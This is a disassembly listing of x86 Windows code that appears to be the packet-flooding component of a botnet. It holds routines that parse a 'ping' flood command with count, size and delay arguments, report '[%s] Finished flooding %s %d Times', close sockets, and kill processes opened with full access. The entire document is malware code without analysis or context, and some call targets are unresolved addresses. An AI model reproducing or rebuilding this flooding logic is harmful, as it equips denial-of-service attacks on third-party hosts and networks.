		mov	dword_4491BF[eax*4], ecx
		mov	dword_4491C3[eax*4], ecx
		mov	dword_4491C7[eax*4], ecx
		mov	dword_4491CB[eax*4], ecx
		mov	byte_448FBB[eax*4], cl
		mov	byte_4491D3[eax*4], cl
		retn
sub_425640	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4256B0	proc near		; CODE XREF: sub_401370j

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	ebx
		push	ebp
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	ecx, ebx
		jle	loc_425767
		cmp	ecx, 400h
		jge	loc_425767
		lea	eax, [ecx+ecx*2]
		push	esi
		shl	eax, 4
		sub	eax, ecx
		push	edi
		push	ebx
		lea	esi, [eax+eax*2]
		mov	eax, dword_4491CF[esi*4]
		push	eax
		nop
		call	near ptr 28E07B9h
		cmp	dword_4491CF[esi*4], ebx
		jz	short loc_4256F8
		mov	ebp, 1


loc_4256F8:				; CODE XREF: sub_4256B0+41j
		mov	dword_4491CF[esi*4], ebx
		mov	dword_4491BB[esi*4], ebx
		mov	dword_4491BF[esi*4], ebx
		mov	eax, dword_4491C3[esi*4]
		cmp	eax, ebx
		jbe	short loc_425721
		push	eax
		call	sub_401C6C
		add	esp, 4


loc_425721:				; CODE XREF: sub_4256B0+66j
		mov	edi, dword_50FC88
		mov	dword_4491C3[esi*4], ebx
		mov	byte_448FBB[esi*4], bl
		mov	byte_4491D3[esi*4], bl
		mov	ecx, dword_4491C7[esi*4]
		push	ecx
		call	edi	; closesocket
		mov	dword_4491C7[esi*4], ebx
		mov	edx, dword_4491CB[esi*4]
		lea	esi, ds:4491CBh[esi*4]
		push	edx
		call	edi	; closesocket
		mov	[esi], ebx
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_425767:				; CODE XREF: sub_4256B0+Cj
					; sub_4256B0+18j
		mov	eax, ebp
		pop	ebp
		pop	ebx
		retn
sub_4256B0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4257A0	proc near		; CODE XREF: sub_401D93j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		xor	edi, edi
		mov	esi, offset dword_4491BF


loc_4257B1:				; CODE XREF: sub_4257A0+52j
		mov	eax, [esp+10h+arg_0]
		mov	ecx, [esi-4]
		cmp	ecx, eax
		jnz	short loc_4257E5
		test	ebx, ebx
		jle	short loc_4257D7
		cmp	[esi], ebx
		jz	short loc_4257C8
		cmp	edi, ebx
		jnz	short loc_4257E5


loc_4257C8:				; CODE XREF: sub_4257A0+22j
		push	edi
		call	sub_401370
		add	esp, 4
		test	eax, eax
		jz	short loc_4257E5
		jmp	short loc_4257E4
; ---------------------------------------------------------------------------


loc_4257D7:				; CODE XREF: sub_4257A0+1Ej
		push	edi
		call	sub_401370
		add	esp, 4
		test	eax, eax
		jz	short loc_4257E5


loc_4257E4:				; CODE XREF: sub_4257A0+35j
		inc	ebp


loc_4257E5:				; CODE XREF: sub_4257A0+1Aj
					; sub_4257A0+26j ...
		add	esi, 234h
		inc	edi
		cmp	esi, offset byte_4D61BF
		jl	short loc_4257B1
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4257A0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425820	proc near		; CODE XREF: sub_401C6Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		push	eax
		push	0
		push	1F0FFFh
		mov	edi, 1
		nop
		call	near ptr 2900000h
		mov	esi, eax
		test	esi, esi
		jz	short loc_425855
		push	0
		push	esi
		nop
		call	near ptr 2880000h
		test	eax, eax
		jnz	short loc_425855
		push	esi
		xor	edi, edi
		call	near ptr 29B0989h
		nop


loc_425855:				; CODE XREF: sub_425820+1Dj
					; sub_425820+2Aj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_425820	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425870	proc near		; CODE XREF: sub_401483j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		xor	eax, eax
		mov	ecx, offset dword_4491BB


loc_42587B:				; CODE XREF: sub_425870+1Cj
		cmp	[ecx], edx
		jnz	short loc_425880
		inc	eax


loc_425880:				; CODE XREF: sub_425870+Dj
		add	ecx, 234h
		cmp	ecx, offset byte_4D61BB
		jl	short loc_42587B
		retn
sub_425870	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4258A0	proc near		; CODE XREF: sub_401D8Ej

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		push	esi
		xor	esi, esi
		xor	eax, eax
		mov	ecx, offset dword_4491BB


loc_4258AE:				; CODE XREF: sub_4258A0+1Fj
		cmp	[ecx], edx
		jz	short loc_4258C3
		add	ecx, 234h
		inc	eax
		cmp	ecx, offset byte_4D61BB
		jl	short loc_4258AE
		mov	eax, esi


loc_4258C3:				; CODE XREF: sub_4258A0+10j
		pop	esi
		retn
sub_4258A0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4258E0	proc near		; CODE XREF: sub_401BD6j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset byte_448FBB


loc_4258E8:				; CODE XREF: sub_4258E0+18j
		cmp	byte ptr [eax],	0
		jz	short loc_4258FE
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4D5FBB
		jl	short loc_4258E8
		mov	eax, edi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4258FE:				; CODE XREF: sub_4258E0+Bj
		lea	eax, [edi+edi*2]
		push	esi
		shl	eax, 4
		sub	eax, edi
		push	1FFh
		lea	eax, [eax+eax*2]
		lea	esi, ds:448FBBh[eax*4]
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	esi
		nop
		call	near ptr 77C47A90h
		mov	ecx, [esp+14h+arg_4]
		mov	edx, [esp+14h+arg_8]
		mov	[esi+200h], ecx
		mov	dword ptr [esi+204h], 0
		add	esp, 0Ch
		mov	dword ptr [esi+208h], 0
		mov	[esi+20Ch], edx
		mov	byte ptr [esi+218h], 0
		mov	eax, edi
		pop	esi
		pop	edi
		retn
sub_4258E0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_425980	proc near		; CODE XREF: sub_401609j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_425980
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	7
		push	0Eh
		push	9
		push	10h
		push	4Fh
		push	13h
		push	0Fh
		mov	esi, ecx
		push	4
		lea	eax, [esp+68h+var_3C]
		push	4
		push	eax
		mov	dword ptr [esi+118h], 0
		mov	byte ptr [esi+11Ch], 0
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_447148
		call	sub_401591
sub_425980	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	4
		push	15h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	edx, [esp+28h]
		push	4
		push	edx
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Eh
		push	19h
		push	13h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	ecx, [esp+28h]
		push	4
		push	ecx
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017E4
		lea	edx, [esi+60h]
		push	eax
		push	edx
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	0Fh
		push	14h
		push	13h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	eax, [esp+2Ch]
		push	4
		push	eax
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017E4
		lea	ecx, [esi+0EAh]
		push	eax
		push	ecx
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Eh
		push	19h
		push	13h
		push	4
		push	13h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	edx, [esp+48h]
		push	4
		push	edx
		call	sub_4019B5
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017E4
		add	esi, 8Eh
		push	eax
		push	esi
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_425BD0:				; CODE XREF: ___:loc_401B6Dj
		push	0FFFFFFFFh
		push	offset loc_43B6A4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 34h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+50h]
		mov	ebx, ecx
		push	edi
		lea	ebp, [esi+7Eh]
		lea	ecx, [ebx+60h]
		mov	[esp+54h], ebp
		call	sub_4014D3
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		mov	edi, dword_50FB08
		test	eax, eax
		jnz	loc_425D68
		push	95h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+10h], eax
		xor	ebp, ebp
		cmp	eax, ebp
		mov	[esp+4Ch], ebp
		jz	short loc_425C3B
		mov	ecx, eax
		call	sub_401DD9
		mov	ebp, eax


loc_425C3B:				; CODE XREF: ___:00425C30j
		push	offset asc_443600 ; " "
		lea	eax, [esp+18h]
		push	1
		mov	byte ptr [ebx+11Ch], 1
		push	eax
		mov	ecx, esi
		mov	dword ptr [esp+58h], 0FFFFFFFFh
		mov	[ebp+91h], ebx
		call	sub_4016AE
		push	eax
		lea	ecx, [ebp+3Bh]
		mov	dword ptr [esp+50h], 1
		call	sub_401FBE
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+18h]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 2
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+50h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+18h]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 3
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+54h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	eax, [esp+18h]
		push	4
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 4
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+58h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [ebp+26h]
		call	sub_401FBE
		mov	dl, [esi+93h]
		mov	ecx, ebp
		mov	[ebp+8Fh], dl
		mov	al, [esi+94h]
		mov	[ebp+90h], al
		call	sub_4013D4
		mov	ebp, [esp+54h]


loc_425D68:				; CODE XREF: ___:00425C11j
		lea	ecx, [ebx+8Eh]
		call	sub_4014D3
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_425EDA
		push	95h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+10h], eax
		test	eax, eax
		mov	dword ptr [esp+4Ch], 5
		jz	short loc_425DAB
		mov	ecx, eax
		call	sub_401BC7
		mov	ebp, eax
		jmp	short loc_425DAD
; ---------------------------------------------------------------------------


loc_425DAB:				; CODE XREF: ___:00425D9Ej
		xor	ebp, ebp


loc_425DAD:				; CODE XREF: ___:00425DA9j
		push	offset asc_443600 ; " "
		lea	ecx, [esp+18h]
		push	1
		push	ecx
		mov	byte ptr [ebx+11Ch], 1
		mov	ecx, esi
		mov	dword ptr [esp+58h], 0FFFFFFFFh
		mov	[ebp+91h], ebx
		call	sub_4016AE
		push	eax
		lea	ecx, [ebp+3Bh]
		mov	dword ptr [esp+50h], 6
		call	sub_401FBE
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+18h]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 7
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+50h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	eax, [esp+18h]
		push	3
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 8
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+54h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+18h]
		push	4
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 9
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+58h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		lea	edx, [esi+69h]
		lea	ecx, [ebp+26h]
		push	edx
		call	sub_401FBE
		mov	al, [esi+93h]
		mov	[ebp+8Fh], al
		mov	cl, [esi+94h]
		mov	[ebp+90h], cl
		mov	ecx, ebp
		call	sub_4013D4
		mov	ebp, [esp+54h]


loc_425EDA:				; CODE XREF: ___:00425D7Dj
		lea	ecx, [ebx+4]
		call	sub_4014D3
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_426049
		push	95h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+10h], eax
		test	eax, eax
		mov	dword ptr [esp+4Ch], 0Ah
		jz	short loc_425F1A
		mov	ecx, eax
		call	sub_40130C
		mov	ebp, eax
		jmp	short loc_425F1C
; ---------------------------------------------------------------------------


loc_425F1A:				; CODE XREF: ___:00425F0Dj
		xor	ebp, ebp


loc_425F1C:				; CODE XREF: ___:00425F18j
		push	offset asc_443600 ; " "
		lea	edx, [esp+18h]
		push	1
		mov	byte ptr [ebx+11Ch], 1
		push	edx
		mov	ecx, esi
		mov	dword ptr [esp+58h], 0FFFFFFFFh
		mov	[ebp+91h], ebx
		call	sub_4016AE
		push	eax
		lea	ecx, [ebp+3Bh]
		mov	dword ptr [esp+50h], 0Bh
		call	sub_401FBE
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	eax, [esp+18h]
		push	2
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 0Ch
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+5Ch], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+18h]
		push	3
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 0Dh
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+60h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+18h]
		push	4
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 0Eh
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+54h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		lea	eax, [esi+69h]
		lea	ecx, [ebp+26h]
		push	eax
		call	sub_401FBE
		mov	cl, [esi+93h]
		mov	[ebp+8Fh], cl
		mov	dl, [esi+94h]
		mov	ecx, ebp
		mov	[ebp+90h], dl
		call	sub_4013D4
		mov	ebp, [esp+54h]


loc_426049:				; CODE XREF: ___:00425EECj
		lea	ecx, [ebx+32h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4261F4
		push	95h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+10h], eax
		test	eax, eax
		mov	dword ptr [esp+4Ch], 0Fh
		jz	short loc_426089
		mov	ecx, eax
		call	sub_401785
		mov	ebp, eax
		jmp	short loc_42608B
; ---------------------------------------------------------------------------


loc_426089:				; CODE XREF: ___:0042607Cj
		xor	ebp, ebp


loc_42608B:				; CODE XREF: ___:00426087j
		push	offset asc_443600 ; " "
		lea	eax, [esp+18h]
		push	1
		mov	byte ptr [ebx+11Ch], 1
		push	eax
		mov	ecx, esi
		mov	dword ptr [esp+58h], 0FFFFFFFFh
		mov	[ebp+91h], ebx
		call	sub_4016AE
		push	eax
		lea	ecx, [ebp+3Bh]
		mov	dword ptr [esp+50h], 10h
		call	sub_401FBE
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+18h]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 11h
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+5Ch], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+18h]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 12h
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+60h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	eax, [esp+18h]
		push	4
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 13h
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+54h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+30h]
		push	5
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 14h
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+2Ch]
		mov	[ebp+58h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		lea	edx, [esi+69h]
		lea	ecx, [ebp+26h]
		push	edx
		call	sub_401FBE
		mov	al, [esi+93h]
		mov	[ebp+8Fh], al
		mov	cl, [esi+94h]
		mov	[ebp+90h], cl
		mov	ecx, ebp
		call	sub_4013D4
		mov	ebp, [esp+54h]


loc_4261F4:				; CODE XREF: ___:0042605Bj
		lea	ecx, [ebx+0EAh]
		call	sub_4014D3
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_426211
		mov	[ebx+11Ch], al


loc_426211:				; CODE XREF: ___:00426209j
		mov	ecx, [esp+44h]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 40h
		retn	4
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 1A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4263D0	proc near		; CODE XREF: sub_401A64j

var_4		= dword	ptr -4

		push	ecx
		mov	edx, dword_447A34
		push	esi
		mov	esi, ecx
		mov	eax, [esi+91h]
		mov	ecx, [eax+118h]
		cmp	edx, ecx
		jl	short loc_4263F1
		inc	ecx
		mov	[eax+118h], ecx


loc_4263F1:				; CODE XREF: sub_4263D0+18j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+8]
		mov	eax, [esi+91h]
		mov	[esp+8+var_4], esi
		mov	ecx, [eax+118h]
		dec	ecx
		mov	[eax+118h], ecx
		lea	ecx, [esp+8+var_4]
		push	ecx
		mov	ecx, offset byte_4E6ECB
		call	sub_40120D
sub_4263D0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426450	proc near		; CODE XREF: sub_40130Cj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_426450
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F7D
		push	offset aPing	; "ping"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E0DC
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_426450	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4264C0	proc near		; CODE XREF: sub_401F7Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4264C0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401E6A
		lea	ecx, [esi+11h]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401424
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401424
		lea	ecx, [esi+64h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401424
		lea	ecx, [esi+79h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E0EC
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4264C0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426560	proc near		; CODE XREF: sub_4014C4j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_426560
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43E0EC
		lea	ecx, [esi+79h]
		mov	[esp+14h+var_4], 4
		call	sub_401226
		lea	ecx, [esi+64h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+11h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_402031
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_426560	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_426620:				; CODE XREF: ___:loc_4016D1j
					; ___:0040217Bj
		push	esi
		mov	esi, ecx
		call	sub_4014C4
		test	byte ptr [esp+8], 1
		jz	short loc_426638
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_426638:				; CODE XREF: ___:0042662Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426650	proc near		; CODE XREF: sub_4011FEj ___:00402081j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_402090
		test	[esp+4+arg_0], 1
		jz	short loc_426668
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_426668:				; CODE XREF: sub_426650+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_426650	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_426680	proc near		; CODE XREF: sub_402090j
		jmp	sub_4014C4
sub_426680	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4266A0	proc near		; CODE XREF: sub_401A41j

var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4266A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+54h]
		mov	ecx, [esi+60h]
		mov	edx, [esi+5Ch]
		lea	edi, [esi+3Bh]
		push	eax
		push	ecx
		push	edx
		mov	ecx, edi
		lea	ebx, [esi+11h]
		lea	ebp, [esi+26h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		push	offset aSSUtimesUbytes ; "%s: %s (%utimes/%ubytes/%dms)"
		mov	ecx, ebp
		call	sub_4014D3
		mov	cl, [esi+8Fh]
		push	eax
		mov	al, [esi+90h]
		push	eax
		push	ecx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 28h
		lea	ecx, [esp+34h+var_24]
		call	sub_401424
		mov	edx, [esi+54h]
		mov	eax, [esi+60h]
		mov	ecx, [esi+5Ch]
		push	edx
		push	eax
		push	ecx
		mov	ecx, edi
		mov	[esp+40h+var_4], 0
		call	sub_4014D3
		push	eax
		call	sub_40182F
		add	esp, 10h
		test	eax, eax
		jz	short loc_426764
		mov	edx, [esi+5Ch]
		mov	ecx, edi
		push	edx
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		lea	eax, [esp+40h+var_24]
		push	offset aSFinishedFlood ; "[%s] Finished	flooding %s %d Times"
		push	eax
		call	sub_40102D
		add	esp, 14h
		jmp	short loc_42677E
; ---------------------------------------------------------------------------


loc_426764:				; CODE XREF: sub_4266A0+9Aj
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+38h+var_24]
		push	offset aSCannotSendPin ; "[%s] Cannot send pings - Doesn't have D"...
		push	ecx
		call	sub_40102D
		add	esp, 0Ch


loc_42677E:				; CODE XREF: sub_4266A0+C2j
		lea	ecx, [esp+34h+var_24]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4014D3
		mov	dl, [esi+90h]
		push	eax
		mov	al, [esi+8Fh]
		push	edx
		push	eax
